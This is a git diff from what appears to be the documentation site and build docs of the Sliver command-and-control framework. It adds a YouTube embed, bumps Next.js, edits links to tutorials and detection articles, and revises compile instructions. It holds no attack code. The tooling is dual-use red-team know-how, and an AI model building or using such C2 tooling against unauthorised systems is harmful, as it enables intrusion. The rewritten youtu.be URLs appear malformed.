return KeyValueSchemaName
|
||||
}
|
||||
|
||||
func (gkvp *GroupedKeyValuePairs) IngestData(data []byte, order []string, arguments ...string) error {
|
||||
if len(arguments) != 1 {
|
||||
return fmt.Errorf("unexpected number of arguments - a grouped by column name")
|
||||
}
|
||||
|
||||
groupedBy := arguments[0]
|
||||
|
||||
err := json.Unmarshal(data, &gkvp.data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if len(gkvp.data) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// If the wrong columns were provided, there will be empty cells
|
||||
gkvp.columnOrder = order
|
||||
// If an invalid grouped by column is provided, the table will not render correctly,
|
||||
// but there will not be any panics
|
||||
gkvp.groupedBy = groupedBy
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (gkvp *GroupedKeyValuePairs) CreateTable() string {
|
||||
if len(gkvp.data) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
t := table.NewWriter()
|
||||
|
||||
header := table.Row{}
|
||||
for _, column := range gkvp.columnOrder {
|
||||
header = append(header, column)
|
||||
}
|
||||
|
||||
t.AppendHeader(header)
|
||||
groupColumn := strings.ToLower(gkvp.groupedBy)
|
||||
for groupName, groupData := range gkvp.data {
|
||||
for _, group := range groupData {
|
||||
tableRow := table.Row{}
|
||||
for _, column := range gkvp.columnOrder {
|
||||
column = strings.ToLower(column)
|
||||
if column == groupColumn {
|
||||
tableRow = append(tableRow, groupName)
|
||||
} else {
|
||||
tableRow = append(tableRow, group[column])
|
||||
}
|
||||
}
|
||||
t.AppendRow(tableRow)
|
||||
}
|
||||
}
|
||||
|
||||
t.SetColumnConfigs([]table.ColumnConfig{{Name: gkvp.groupedBy, AutoMerge: true}})
|
||||
|
||||
if gkvp.groupedBy != "" {
|
||||
t.SortBy([]table.SortBy{{Name: gkvp.groupedBy, Mode: table.Asc}})
|
||||
} else {
|
||||
t.SortBy([]table.SortBy{{Number: 1, Mode: table.Asc}})
|
||||
}
|
||||
|
||||
return t.Render()
|
||||
}
|
||||
|
||||
func (gkvp *GroupedKeyValuePairs) Name() string {
|
||||
return GroupedKeyValueSchemaName
|
||||
}
|
||||
@@ -3,6 +3,7 @@
|
||||
# generated files
|
||||
public/sitemap.json
|
||||
public/docs.json
|
||||
public/tutorials.json
|
||||
/www.zip
|
||||
|
||||
# code editor files
|
||||
|
||||
@@ -7,6 +7,7 @@ import { useRouter } from "next/router";
|
||||
import Markdown from "react-markdown";
|
||||
import remarkGfm from "remark-gfm";
|
||||
import AsciinemaPlayer from "./asciinema";
|
||||
import Youtube from "./youtube";
|
||||
|
||||
export type MarkdownProps = {
|
||||
key?: string;
|
||||
@@ -131,6 +132,11 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
);
|
||||
}
|
||||
|
||||
if (lang === "youtube") {
|
||||
const embedId = (children as string) || "";
|
||||
return <Youtube embedId={embedId.trim()} />;
|
||||
}
|
||||
|
||||
if (lang === "asciinema") {
|
||||
const asciiCast: MarkdownAsciiCast = JSON.parse(
|
||||
children as string
|
||||
|
||||
@@ -42,7 +42,7 @@ export default function TutorialCard(props: TutorialCardCardProps) {
|
||||
</div>
|
||||
|
||||
<CardFooter className="absolute bg-black/40 bottom-0 z-100 border-t-1 border-default-600 dark:border-default-100">
|
||||
<div className="flex w-full items-center">
|
||||
<div className="flex flex-row w-full items-center">
|
||||
<p
|
||||
className={
|
||||
props.italicDescription
|
||||
@@ -54,17 +54,16 @@ export default function TutorialCard(props: TutorialCardCardProps) {
|
||||
</p>
|
||||
|
||||
{props.showButton ? (
|
||||
<div className="justify-items-end">
|
||||
<Button
|
||||
variant="ghost"
|
||||
color="warning"
|
||||
size="sm"
|
||||
onPress={props.onPress}
|
||||
>
|
||||
{props.buttonText ? props.buttonText : "Read Tutorial"}{" "}
|
||||
<FontAwesomeIcon icon={faChevronRight} />
|
||||
</Button>
|
||||
</div>
|
||||
<Button
|
||||
variant="ghost"
|
||||
color="warning"
|
||||
size="sm"
|
||||
onPress={props.onPress}
|
||||
className="ml-auto"
|
||||
>
|
||||
{props.buttonText ? props.buttonText : "Read Tutorial"}{" "}
|
||||
<FontAwesomeIcon icon={faChevronRight} />
|
||||
</Button>
|
||||
) : (
|
||||
<></>
|
||||
)}
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
export type YoutubeProps = {
|
||||
className?: string;
|
||||
|
||||
width?: number;
|
||||
height?: number;
|
||||
|
||||
embedId: string;
|
||||
};
|
||||
|
||||
export default function Youtube(props: YoutubeProps) {
|
||||
return (
|
||||
<div className={props.className}>
|
||||
<iframe
|
||||
width={`${props.width ? props.width : 640}`}
|
||||
height={`${props.height ? props.height : 360}`}
|
||||
src={`https://youtu.be/embed/${props.embedId}`}
|
||||
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
|
||||
allowFullScreen
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -11,6 +11,7 @@ const nextConfig = {
|
||||
webpack: (config, { isServer }) => {
|
||||
if (isServer) {
|
||||
require('./prebuild/generate-docs');
|
||||
require('./prebuild/generate-tutorials');
|
||||
}
|
||||
return config;
|
||||
}
|
||||
|
||||
Generated
+74
-82
@@ -19,7 +19,7 @@
|
||||
"framer-motion": "^10.16.16",
|
||||
"fuse.js": "^7.0.0",
|
||||
"lunr": "^2.3.9",
|
||||
"next": "14.0.4",
|
||||
"next": "^14.2.20",
|
||||
"next-themes": "^0.2.1",
|
||||
"react": "18.2.0",
|
||||
"react-dom": "18.2.0",
|
||||
@@ -383,9 +383,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/env": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/env/-/env-14.0.4.tgz",
|
||||
"integrity": "sha512-irQnbMLbUNQpP1wcE5NstJtbuA/69kRfzBrpAD7Gsn8zm/CY6YQYc3HQBz8QPxwISG26tIm5afvvVbu508oBeQ=="
|
||||
"version": "14.2.20",
|
||||
"resolved": "https://registry.npmjs.org/@next/env/-/env-14.2.20.tgz",
|
||||
"integrity": "sha512-JfDpuOCB0UBKlEgEy/H6qcBSzHimn/YWjUHzKl1jMeUO+QVRdzmTTl8gFJaNO87c8DXmVKhFCtwxQ9acqB3+Pw=="
|
||||
},
|
||||
"node_modules/@next/eslint-plugin-next": {
|
||||
"version": "14.0.4",
|
||||
@@ -397,9 +397,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-darwin-arm64": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-14.0.4.tgz",
|
||||
"integrity": "sha512-mF05E/5uPthWzyYDyptcwHptucf/jj09i2SXBPwNzbgBNc+XnwzrL0U6BmPjQeOL+FiB+iG1gwBeq7mlDjSRPg==",
|
||||
"version": "14.2.20",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-14.2.20.tgz",
|
||||
"integrity": "sha512-WDfq7bmROa5cIlk6ZNonNdVhKmbCv38XteVFYsxea1vDJt3SnYGgxLGMTXQNfs5OkFvAhmfKKrwe7Y0Hs+rWOg==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -412,9 +412,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-darwin-x64": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-14.0.4.tgz",
|
||||
"integrity": "sha512-IZQ3C7Bx0k2rYtrZZxKKiusMTM9WWcK5ajyhOZkYYTCc8xytmwSzR1skU7qLgVT/EY9xtXDG0WhY6fyujnI3rw==",
|
||||
"version": "14.2.20",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-14.2.20.tgz",
|
||||
"integrity": "sha512-XIQlC+NAmJPfa2hruLvr1H1QJJeqOTDV+v7tl/jIdoFvqhoihvSNykLU/G6NMgoeo+e/H7p/VeWSOvMUHKtTIg==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -427,9 +427,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-linux-arm64-gnu": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-14.0.4.tgz",
|
||||
"integrity": "sha512-VwwZKrBQo/MGb1VOrxJ6LrKvbpo7UbROuyMRvQKTFKhNaXjUmKTu7wxVkIuCARAfiI8JpaWAnKR+D6tzpCcM4w==",
|
||||
"version": "14.2.20",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-14.2.20.tgz",
|
||||
"integrity": "sha512-pnzBrHTPXIMm5QX3QC8XeMkpVuoAYOmyfsO4VlPn+0NrHraNuWjdhe+3xLq01xR++iCvX+uoeZmJDKcOxI201Q==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -442,9 +442,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-linux-arm64-musl": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-14.0.4.tgz",
|
||||
"integrity": "sha512-8QftwPEW37XxXoAwsn+nXlodKWHfpMaSvt81W43Wh8dv0gkheD+30ezWMcFGHLI71KiWmHK5PSQbTQGUiidvLQ==",
|
||||
"version": "14.2.20",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-14.2.20.tgz",
|
||||
"integrity": "sha512-WhJJAFpi6yqmUx1momewSdcm/iRXFQS0HU2qlUGlGE/+98eu7JWLD5AAaP/tkK1mudS/rH2f9E3WCEF2iYDydQ==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -457,9 +457,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-linux-x64-gnu": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-14.0.4.tgz",
|
||||
"integrity": "sha512-/s/Pme3VKfZAfISlYVq2hzFS8AcAIOTnoKupc/j4WlvF6GQ0VouS2Q2KEgPuO1eMBwakWPB1aYFIA4VNVh667A==",
|
||||
"version": "14.2.20",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-14.2.20.tgz",
|
||||
"integrity": "sha512-ao5HCbw9+iG1Kxm8XsGa3X174Ahn17mSYBQlY6VGsdsYDAbz/ZP13wSLfvlYoIDn1Ger6uYA+yt/3Y9KTIupRg==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -472,9 +472,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-linux-x64-musl": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-14.0.4.tgz",
|
||||
"integrity": "sha512-m8z/6Fyal4L9Bnlxde5g2Mfa1Z7dasMQyhEhskDATpqr+Y0mjOBZcXQ7G5U+vgL22cI4T7MfvgtrM2jdopqWaw==",
|
||||
"version": "14.2.20",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-14.2.20.tgz",
|
||||
"integrity": "sha512-CXm/kpnltKTT7945np6Td3w7shj/92TMRPyI/VvveFe8+YE+/YOJ5hyAWK5rpx711XO1jBCgXl211TWaxOtkaA==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -487,9 +487,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-win32-arm64-msvc": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-14.0.4.tgz",
|
||||
"integrity": "sha512-7Wv4PRiWIAWbm5XrGz3D8HUkCVDMMz9igffZG4NB1p4u1KoItwx9qjATHz88kwCEal/HXmbShucaslXCQXUM5w==",
|
||||
"version": "14.2.20",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-14.2.20.tgz",
|
||||
"integrity": "sha512-upJn2HGQgKNDbXVfIgmqT2BN8f3z/mX8ddoyi1I565FHbfowVK5pnMEwauvLvaJf4iijvuKq3kw/b6E9oIVRWA==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -502,9 +502,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-win32-ia32-msvc": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-ia32-msvc/-/swc-win32-ia32-msvc-14.0.4.tgz",
|
||||
"integrity": "sha512-zLeNEAPULsl0phfGb4kdzF/cAVIfaC7hY+kt0/d+y9mzcZHsMS3hAS829WbJ31DkSlVKQeHEjZHIdhN+Pg7Gyg==",
|
||||
"version": "14.2.20",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-ia32-msvc/-/swc-win32-ia32-msvc-14.2.20.tgz",
|
||||
"integrity": "sha512-igQW/JWciTGJwj3G1ipalD2V20Xfx3ywQy17IV0ciOUBbFhNfyU1DILWsTi32c8KmqgIDviUEulW/yPb2FF90w==",
|
||||
"cpu": [
|
||||
"ia32"
|
||||
],
|
||||
@@ -517,9 +517,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-win32-x64-msvc": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-14.0.4.tgz",
|
||||
"integrity": "sha512-yEh2+R8qDlDCjxVpzOTEpBLQTEFAcP2A8fUFLaWNap9GitYKkKv1//y2S6XY6zsR4rCOPRpU7plYDR+az2n30A==",
|
||||
"version": "14.2.20",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-14.2.20.tgz",
|
||||
"integrity": "sha512-AFmqeLW6LtxeFTuoB+MXFeM5fm5052i3MU6xD0WzJDOwku6SkZaxb1bxjBaRC8uNqTRTSPl0yMFtjNowIVI67w==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -2815,11 +2815,17 @@
|
||||
"integrity": "sha512-2/U3GXA6YiPYQDLGwtGlnNgKYBSwCFIHf8Y9LUY5VATHdtbLlU0Y1R3QoBnT0aB4qv/BEiVVsj7LJXoQCgJ2vA==",
|
||||
"dev": true
|
||||
},
|
||||
"node_modules/@swc/counter": {
|
||||
"version": "0.1.3",
|
||||
"resolved": "https://registry.npmjs.org/@swc/counter/-/counter-0.1.3.tgz",
|
||||
"integrity": "sha512-e2BR4lsJkkRlKZ/qCHPw9ZaSxc0MVUd7gtbtaB7aMvHeJVYe8sOB8DBZkP2DtISHGSku9sCK6T6cnY0CtXrOCQ=="
|
||||
},
|
||||
"node_modules/@swc/helpers": {
|
||||
"version": "0.5.2",
|
||||
"resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.2.tgz",
|
||||
"integrity": "sha512-E4KcWTpoLHqwPHLxidpOqQbcrZVgi0rsmmZXUle1jXmJfuIf/UWpczUJ7MZZ5tlxytgJXyp0w4PGkkeLiuIdZw==",
|
||||
"version": "0.5.5",
|
||||
"resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.5.tgz",
|
||||
"integrity": "sha512-KGYxvIOXcceOAbEk4bi/dVLEK9z8sZ0uBB3Il5b1rhfClSpcX0yfRO0KmTkqR2cnQDymwLB+25ZyMzICg/cm/A==",
|
||||
"dependencies": {
|
||||
"@swc/counter": "^0.1.3",
|
||||
"tslib": "^2.4.0"
|
||||
}
|
||||
},
|
||||
@@ -3430,11 +3436,11 @@
|
||||
}
|
||||
},
|
||||
"node_modules/braces": {
|
||||
"version": "3.0.2",
|
||||
"resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
|
||||
"integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
|
||||
"version": "3.0.3",
|
||||
"resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
|
||||
"integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==",
|
||||
"dependencies": {
|
||||
"fill-range": "^7.0.1"
|
||||
"fill-range": "^7.1.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
@@ -3515,9 +3521,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/caniuse-lite": {
|
||||
"version": "1.0.30001570",
|
||||
"resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001570.tgz",
|
||||
"integrity": "sha512-+3e0ASu4sw1SWaoCtvPeyXp+5PsjigkSt8OXZbF9StH5pQWbxEjLAZE3n8Aup5udop1uRiKA7a4utUk/uoSpUw==",
|
||||
"version": "1.0.30001614",
|
||||
"resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001614.tgz",
|
||||
"integrity": "sha512-jmZQ1VpmlRwHgdP1/uiKzgiAuGOfLEJsYFP4+GBou/QQ4U6IOJCB4NP1c+1p9RGLpwObcT94jA5/uO+F1vBbog==",
|
||||
"funding": [
|
||||
{
|
||||
"type": "opencollective",
|
||||
@@ -4531,9 +4537,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/fill-range": {
|
||||
"version": "7.0.1",
|
||||
"resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
|
||||
"integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
|
||||
"version": "7.1.1",
|
||||
"resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz",
|
||||
"integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==",
|
||||
"dependencies": {
|
||||
"to-regex-range": "^5.0.1"
|
||||
},
|
||||
@@ -4773,11 +4779,6 @@
|
||||
"node": ">=10.13.0"
|
||||
}
|
||||
},
|
||||
"node_modules/glob-to-regexp": {
|
||||
"version": "0.4.1",
|
||||
"resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz",
|
||||
"integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw=="
|
||||
},
|
||||
"node_modules/globals": {
|
||||
"version": "13.24.0",
|
||||
"resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz",
|
||||
@@ -6511,11 +6512,11 @@
|
||||
]
|
||||
},
|
||||
"node_modules/micromatch": {
|
||||
"version": "4.0.5",
|
||||
"resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz",
|
||||
"integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==",
|
||||
"version": "4.0.8",
|
||||
"resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",
|
||||
"integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==",
|
||||
"dependencies": {
|
||||
"braces": "^3.0.2",
|
||||
"braces": "^3.0.3",
|
||||
"picomatch": "^2.3.1"
|
||||
},
|
||||
"engines": {
|
||||
@@ -6587,18 +6588,17 @@
|
||||
"dev": true
|
||||
},
|
||||
"node_modules/next": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/next/-/next-14.0.4.tgz",
|
||||
"integrity": "sha512-qbwypnM7327SadwFtxXnQdGiKpkuhaRLE2uq62/nRul9cj9KhQ5LhHmlziTNqUidZotw/Q1I9OjirBROdUJNgA==",
|
||||
"version": "14.2.20",
|
||||
"resolved": "https://registry.npmjs.org/next/-/next-14.2.20.tgz",
|
||||
"integrity": "sha512-yPvIiWsiyVYqJlSQxwmzMIReXn5HxFNq4+tlVQ812N1FbvhmE+fDpIAD7bcS2mGYQwPJ5vAsQouyme2eKsxaug==",
|
||||
"dependencies": {
|
||||
"@next/env": "14.0.4",
|
||||
"@swc/helpers": "0.5.2",
|
||||
"@next/env": "14.2.20",
|
||||
"@swc/helpers": "0.5.5",
|
||||
"busboy": "1.6.0",
|
||||
"caniuse-lite": "^1.0.30001406",
|
||||
"caniuse-lite": "^1.0.30001579",
|
||||
"graceful-fs": "^4.2.11",
|
||||
"postcss": "8.4.31",
|
||||
"styled-jsx": "5.1.1",
|
||||
"watchpack": "2.4.0"
|
||||
"styled-jsx": "5.1.1"
|
||||
},
|
||||
"bin": {
|
||||
"next": "dist/bin/next"
|
||||
@@ -6607,18 +6607,19 @@
|
||||
"node": ">=18.17.0"
|
||||
},
|
||||
"optionalDependencies": {
|
||||
"@next/swc-darwin-arm64": "14.0.4",
|
||||
"@next/swc-darwin-x64": "14.0.4",
|
||||
"@next/swc-linux-arm64-gnu": "14.0.4",
|
||||
"@next/swc-linux-arm64-musl": "14.0.4",
|
||||
"@next/swc-linux-x64-gnu": "14.0.4",
|
||||
"@next/swc-linux-x64-musl": "14.0.4",
|
||||
"@next/swc-win32-arm64-msvc": "14.0.4",
|
||||
"@next/swc-win32-ia32-msvc": "14.0.4",
|
||||
"@next/swc-win32-x64-msvc": "14.0.4"
|
||||
"@next/swc-darwin-arm64": "14.2.20",
|
||||
"@next/swc-darwin-x64": "14.2.20",
|
||||
"@next/swc-linux-arm64-gnu": "14.2.20",
|
||||
"@next/swc-linux-arm64-musl": "14.2.20",
|
||||
"@next/swc-linux-x64-gnu": "14.2.20",
|
||||
"@next/swc-linux-x64-musl": "14.2.20",
|
||||
"@next/swc-win32-arm64-msvc": "14.2.20",
|
||||
"@next/swc-win32-ia32-msvc": "14.2.20",
|
||||
"@next/swc-win32-x64-msvc": "14.2.20"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@opentelemetry/api": "^1.1.0",
|
||||
"@playwright/test": "^1.41.2",
|
||||
"react": "^18.2.0",
|
||||
"react-dom": "^18.2.0",
|
||||
"sass": "^1.3.0"
|
||||
@@ -6627,6 +6628,9 @@
|
||||
"@opentelemetry/api": {
|
||||
"optional": true
|
||||
},
|
||||
"@playwright/test": {
|
||||
"optional": true
|
||||
},
|
||||
"sass": {
|
||||
"optional": true
|
||||
}
|
||||
@@ -8431,18 +8435,6 @@
|
||||
"url": "https://opencollective.com/unified"
|
||||
}
|
||||
},
|
||||
"node_modules/watchpack": {
|
||||
"version": "2.4.0",
|
||||
"resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.0.tgz",
|
||||
"integrity": "sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==",
|
||||
"dependencies": {
|
||||
"glob-to-regexp": "^0.4.1",
|
||||
"graceful-fs": "^4.1.2"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10.13.0"
|
||||
}
|
||||
},
|
||||
"node_modules/which": {
|
||||
"version": "2.0.2",
|
||||
"resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
|
||||
|
||||
@@ -21,7 +21,7 @@
|
||||
"framer-motion": "^10.16.16",
|
||||
"fuse.js": "^7.0.0",
|
||||
"lunr": "^2.3.9",
|
||||
"next": "14.0.4",
|
||||
"next": "^14.2.20",
|
||||
"next-themes": "^0.2.1",
|
||||
"react": "18.2.0",
|
||||
"react-dom": "18.2.0",
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import Navbar from "@/components/navbar";
|
||||
import "@/styles/globals.css";
|
||||
import { Docs } from "@/util/docs";
|
||||
import { Tutorials } from "@/util/tutorials";
|
||||
import { SearchContext, SearchCtx } from "@/util/search-context";
|
||||
import { Themes } from "@/util/themes";
|
||||
import { faExternalLink } from "@fortawesome/free-solid-svg-icons";
|
||||
@@ -42,6 +43,16 @@ export default function App({ Component, pageProps }: AppProps) {
|
||||
},
|
||||
});
|
||||
|
||||
queryClient.prefetchQuery({
|
||||
queryKey: ["tutorials"],
|
||||
queryFn: async (): Promise<Tutorials> => {
|
||||
const res = await fetch("/tutorials.json");
|
||||
const tutorials: Tutorials = await res.json();
|
||||
search.addTutorials(tutorials);
|
||||
return tutorials;
|
||||
},
|
||||
});
|
||||
|
||||
return (
|
||||
<NextUIProvider>
|
||||
<NextThemesProvider attribute="class" defaultTheme={getThemeState()}>
|
||||
|
||||
@@ -2,7 +2,7 @@ import Document, { Head, Html, Main, NextScript } from "next/document";
|
||||
import React from "react";
|
||||
|
||||
// This generates the https: and wss: "connect-src" directives based on the above backends list so its a little easier to edit.
|
||||
const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; connect-src 'self'`;
|
||||
const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; frame-src https://youtu.be; connect-src 'self'`;
|
||||
|
||||
class MyDocument extends Document {
|
||||
static async getInitialProps(ctx: any) {
|
||||
@@ -17,7 +17,6 @@ class MyDocument extends Document {
|
||||
return (
|
||||
<Html lang="en">
|
||||
<Head>
|
||||
<title>Sliver Docs</title>
|
||||
<meta httpEquiv="Content-Security-Policy" content={CSP} />
|
||||
</Head>
|
||||
<body>
|
||||
|
||||
@@ -7,15 +7,15 @@
|
||||
### Videos
|
||||
|
||||
- https://youtu.be/3R6WKUgN0K4?t=456
|
||||
- https://www.youtube.com/watch?v=QO_1UMaiWHk
|
||||
- https://www.youtube.com/watch?v=izMMmOaLn9g
|
||||
- https://www.youtube.com/watch?v=qIbrozlf2wM
|
||||
- https://www.youtube.com/watch?v=CKfjLnEMfvI
|
||||
- https://youtu.be/watch?v=QO_1UMaiWHk
|
||||
- https://youtu.be/watch?v=izMMmOaLn9g
|
||||
- https://youtu.be/watch?v=qIbrozlf2wM
|
||||
- https://youtu.be/watch?v=CKfjLnEMfvI
|
||||
|
||||
### Blogs
|
||||
|
||||
- https://bishopfox.com/blog/passing-the-osep-exam-using-sliver
|
||||
- https://notateamserver.xyz/sliver-101/
|
||||
- https://notateamserver.xyz/blog/sliver-101/
|
||||
- https://dominicbreuker.com/post/learning_sliver_c2_01_installation/
|
||||
- https://vk9-sec.com/how-to-set-up-use-c2-sliver/
|
||||
- https://0x90-1.gitbook.io/sliver/
|
||||
@@ -38,6 +38,7 @@
|
||||
|
||||
### Detection & Analysis
|
||||
|
||||
- https://medium.com/@unsec.monitor/how-to-use-zeek-detect-sliver-http-beacon-traffic-f05b214c4056
|
||||
- https://www.immersivelabs.com/blog/detecting-and-decrypting-sliver-c2-a-threat-hunters-guide/
|
||||
- https://blogs.vmware.com/security/2023/01/detection-of-lateral-movement-with-the-sliver-c2-framework.html
|
||||
- https://michaelkoczwara.medium.com/sliver-c2-implant-analysis-62773928097f
|
||||
|
||||
@@ -1,30 +1,22 @@
|
||||
You'll want to compile from a MacOS or Linux machine, compiling from native Windows in theory is possible, but none of the asset scripts are designed to run on Windows, you can cross-compile the Windows server/client binaries from a better operating system like Linux or MacOS. If you only have a Windows machine see "Windows Builds" below (TL;DR use WSL).
|
||||
|
||||
### Compile From Source (No Docker)
|
||||
# Sliver v1.6.x
|
||||
|
||||
From scratch without Docker, requirements for compiling:
|
||||
|
||||
- Go v1.21 or later, though we recommend Go v1.22. When compiling v1.5.x use Go v1.20.7
|
||||
- Go v1.21 or later
|
||||
- `make`, `sed`, `tar`, `curl`, `zip`, `cut` commands; most of these are installed by default but you may need to install `make`, `curl`, and `zip` depending on your distribution. On MacOS you may need to install XCode and accompanying cli tools.
|
||||
|
||||
**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.
|
||||
```asciinema
|
||||
{"src": "/asciinema/compile-from-source.cast", "cols": "132"}
|
||||
```
|
||||
|
||||
#### Compiling
|
||||
|
||||
First git clone the repository:
|
||||
### Compiling
|
||||
|
||||
```
|
||||
$ git clone https://github.com/BishopFox/sliver.git
|
||||
$ cd sliver
|
||||
```
|
||||
|
||||
The `master` branch will contain the latest Sliver features, however only release version of Sliver are recommended for production use. It is strongly recommended to checkout the latest tagged release branch when compiling from source unless you're a developer:
|
||||
|
||||
```
|
||||
$ git checkout tags/v1.5.39
|
||||
```
|
||||
|
||||
Sliver embeds its own copy of the Go compiler and a few internal tools, the first time your run `make` a bash script will run to download these assets to your local system. This means the first build will take much longer than subsequent builds, especially if your internet connection is slow.
|
||||
**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.
|
||||
|
||||
By default `make` will build whatever platform you're currently running on:
|
||||
|
||||
@@ -34,42 +26,33 @@ $ make
|
||||
|
